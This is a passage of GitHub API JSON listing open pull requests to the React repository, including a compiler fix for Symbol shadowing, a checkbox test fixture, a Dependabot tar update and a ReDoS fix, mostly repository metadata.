\r\n", "created_at": "2026-01-19T17:43:30Z", "updated_at": "2026-02-05T03:56:17Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "02488d1c2c4d1f5a4bff8e319db2a1928668fe12", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "milestone": null, "draft": false, "head": { "label": "rickhanlonii:rh/ff-fix-event-api-activity", "ref": "rh/ff-fix-event-api-activity", "sha": "c2cc16c8b816341fb2ad1685f51a25976d52993c", "user": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 116611810, "node_id": "MDEwOlJlcG9zaXRvcnkxMTY2MTE4MTA=", "name": "react", "full_name": "rickhanlonii/react", "private": false, "owner": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "A declarative, efficient, and flexible JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/rickhanlonii/react", "created_at": "2018-01-08T00:58:59Z", "updated_at": "2026-01-28T18:33:18Z", "pushed_at": "2026-03-03T16:57:04Z", "homepage": "https://reactjs.org", "size": 390323, "stargazers_count": 3, "watchers_count": 3, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": true, "forks_count": 1, "archived": false, "disabled": false, "open_issues_count": 2, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 1, "open_issues": 2, "watchers": 3, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3aaab92a265ebeb43b15e7c30c2f1dfb9fcd5961", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35562" }, "html": { "href": "https://github.com/facebook/react/pull/35562" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35562" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35562/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35562/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35562/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/c2cc16c8b816341fb2ad1685f51a25976d52993c" } }, "author_association": "MEMBER", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35553", "id": 3185462819, "node_id": "PR_kwDOAJy2Ks693k4j", "number": 35553, "state": "open", "locked": false, "title": "[compiler] Fix Symbol shadowing by prefixing with `globalThis`", "user": { "login": "hlysine", "id": 25472513, "node_id": "MDQ6VXNlcjI1NDcyNTEz", "avatar_url": "https://avatars.githubusercontent.com/u/25472513?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hlysine", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\nFixes #35379\r\n\r\nThe React compiler currently emits code that produces a runtime error when the global `Symbol` is being shadowed by another reference named `Symbol`. This PR changes the emitted code to access `Symbol` via `globalThis.Symbol` to fix this issue.\r\n\r\nThanks to #35429 for providing a hint to the fix, but this PR also applies the fix to `PropagateEarlyReturns` and `InlineJsxTransform`.\r\n\r\n## How did you test this change?\r\n\r\nAll related test fixtures are updated with this change. Some examples of the generated code:\r\n```diff\r\n- if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\r\n+ if ($[0] === globalThis.Symbol.for(\"react.memo_cache_sentinel\")) {\r\n```\r\n```diff\r\n if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\r\n- t0 = Symbol.for(\"react.early_return_sentinel\");\r\n+ t0 = globalThis.Symbol.for(\"react.early_return_sentinel\");\r\n bb0: {\r\n```\r\n", "created_at": "2026-01-18T16:00:58Z", "updated_at": "2026-02-18T02:17:33Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "1ecc410f5d71643b020c9ce81a3d7f5648318345", "assignees": {}, "requested_reviewers": { "0": { "login": "josephsavona", "id": 6425824, "node_id": "MDQ6VXNlcjY0MjU4MjQ=", "avatar_url": "https://avatars.githubusercontent.com/u/6425824?v=4", "gravatar_id": "", "url": "https://api.github.com/users/josephsavona", "type": "User", "user_view_type": "public", "site_admin": false } }, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "hlysine:fix/compiler-symbol-shadowing", "ref": "fix/compiler-symbol-shadowing", "sha": "b295d643fe27652607a191792425acb9c896561e", "user": { "login": "hlysine", "id": 25472513, "node_id": "MDQ6VXNlcjI1NDcyNTEz", "avatar_url": "https://avatars.githubusercontent.com/u/25472513?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hlysine", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1136919991, "node_id": "R_kgDOQ8QFtw", "name": "react", "full_name": "hlysine/react", "private": false, "owner": { "login": "hlysine", "id": 25472513, "node_id": "MDQ6VXNlcjI1NDcyNTEz", "avatar_url": "https://avatars.githubusercontent.com/u/25472513?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hlysine", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/hlysine/react", "created_at": "2026-01-18T15:47:32Z", "updated_at": "2026-02-16T06:06:58Z", "pushed_at": "2026-02-18T02:10:52Z", "homepage": "https://react.dev", "size": 126306, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "e8c6362678c8bc86a02b8444d2c3f597b3dc4e22", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35553" }, "html": { "href": "https://github.com/facebook/react/pull/35553" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35553" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35553/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35553/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35553/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/b295d643fe27652607a191792425acb9c896561e" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35379 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35552", "id": 3185170055, "node_id": "PR_kwDOAJy2Ks692daH", "number": 35552, "state": "open", "locked": false, "title": "Add checkbox-inputs fixture for DOM testing", "user": { "login": "SherlockShemol", "id": 87739402, "node_id": "MDQ6VXNlcjg3NzM5NDAy", "avatar_url": "https://avatars.githubusercontent.com/u/87739402?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SherlockShemol", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Hey! 👋\n\nI noticed there's no dedicated test fixture for checkbox inputs, while other input types like `range-inputs`, `text-inputs`, `number-inputs` all have their own.\n\nThis PR adds a `checkbox-inputs` fixture with 3 test cases:\n- Controlled checkbox\n- Uncontrolled checkbox \n- Disabled checkbox\n\nNothing fancy, just filling a small gap in test coverage.", "created_at": "2026-01-18T09:53:30Z", "updated_at": "2026-01-18T09:53:36Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "65cfd77dbc920b563db273d0f9ef6defeb881054", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "SherlockShemol:add-checkbox-inputs-fixture", "ref": "add-checkbox-inputs-fixture", "sha": "570d48b89a5eaf8db19291b5dbf42d42c1266de4", "user": { "login": "SherlockShemol", "id": 87739402, "node_id": "MDQ6VXNlcjg3NzM5NDAy", "avatar_url": "https://avatars.githubusercontent.com/u/87739402?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SherlockShemol", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1136745689, "node_id": "R_kgDOQ8Fc2Q", "name": "react", "full_name": "SherlockShemol/react", "private": false, "owner": { "login": "SherlockShemol", "id": 87739402, "node_id": "MDQ6VXNlcjg3NzM5NDAy", "avatar_url": "https://avatars.githubusercontent.com/u/87739402?v=4", "gravatar_id": "", "url": "https://api.github.com/users/SherlockShemol", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/SherlockShemol/react", "created_at": "2026-01-18T09:20:08Z", "updated_at": "2026-01-18T09:20:08Z", "pushed_at": "2026-01-18T09:52:58Z", "homepage": "https://react.dev", "size": 124061, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "be3fb29904a23322bd3cef7752df517fabdc188a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35552" }, "html": { "href": "https://github.com/facebook/react/pull/35552" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35552" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35552/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35552/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35552/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/570d48b89a5eaf8db19291b5dbf42d42c1266de4" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35544", "id": 3183668918, "node_id": "PR_kwDOAJy2Ks69wu62", "number": 35544, "state": "open", "locked": false, "title": "Bump tar from 2.2.1 to 2.2.2 in /fixtures/packaging/webpack/dev", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [tar](https://github.com/isaacs/node-tar) from 2.2.1 to 2.2.2.\n
\nCommits\n
    \n
  • 523c5c7 2.2.2
  • \n
  • 7ecef07 Bump fstream to fix hardlink overwriting vulnerability
  • \n
  • 9fc84b9 Use {} for hardlink tracking instead of []
  • \n
  • 15e59f1 Only track previously seen hardlinks
  • \n
  • 4f85851 Ignore potentially unsafe files
  • \n
  • See full diff in compare view
  • \n
\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=tar&package-manager=npm_and_yarn&previous-version=2.2.1&new-version=2.2.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2026-01-17T09:52:42Z", "updated_at": "2026-01-17T09:52:47Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "5cc9399b0474de4ff1b1a70c786826d4130db563", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/fixtures/packaging/webpack/dev/tar-2.2.2", "ref": "dependabot/npm_and_yarn/fixtures/packaging/webpack/dev/tar-2.2.2", "sha": "b8d42c625befe85b13dbe4268f69c1b0a74b372c", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "3926e2438fd65a0fb2c7807b5a633ba147408ab9", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35544" }, "html": { "href": "https://github.com/facebook/react/pull/35544" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35544" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35544/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35544/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35544/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/b8d42c625befe85b13dbe4268f69c1b0a74b372c" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35538", "id": 3182363300, "node_id": "PR_kwDOAJy2Ks69rwKk", "number": 35538, "state": "open", "locked": false, "title": "Fix ReDoS vulnerability in stack trace parsing (Issue #35490)", "user": { "login": "sujay-bhandari", "id": 148442477, "node_id": "U_kgDOCNkNbQ", "avatar_url": "https://avatars.githubusercontent.com/u/148442477?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sujay-bhandari", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-16T19:10:44Z", "updated_at": "2026-01-16T19:10:52Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "15c0498caafb8cb02842c32b0c3a4100eb9faace", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "sujay-bhandari:main", "ref": "main", "sha": "9e62622539a5502057aab8176fdae153105a7b20", "user": { "login": "sujay-bhandari", "id": 148442477, "node_id": "U_kgDOCNkNbQ", "avatar_url": "https://avatars.githubusercontent.com/u/148442477?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sujay-bhandari", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1135892518, "node_id": "R_kgDOQ7RYJg", "name": "react", "full_name": "sujay-bhandari/react", "private": false, "owner": { "login": "sujay-bhandari", "id": 148442477, "node_id": "U_kgDOCNkNbQ", "avatar_url": "https://avatars.githubusercontent.com/u/148442477?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sujay-bhandari", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/sujay-bhandari/react", "created_at": "2026-01-16T18:36:27Z", "updated_at": "2026-01-16T19:09:55Z", "pushed_at": "2026-01-16T19:09:39Z", "homepage": "https://react.dev", "size": 124016, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "6baff7ac763c475087ab5ebf7eef5d0b9f4436df", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35538" }, "html": { "href": "https://github.com/facebook/react/pull/35538" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35538" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35538/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35538/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": 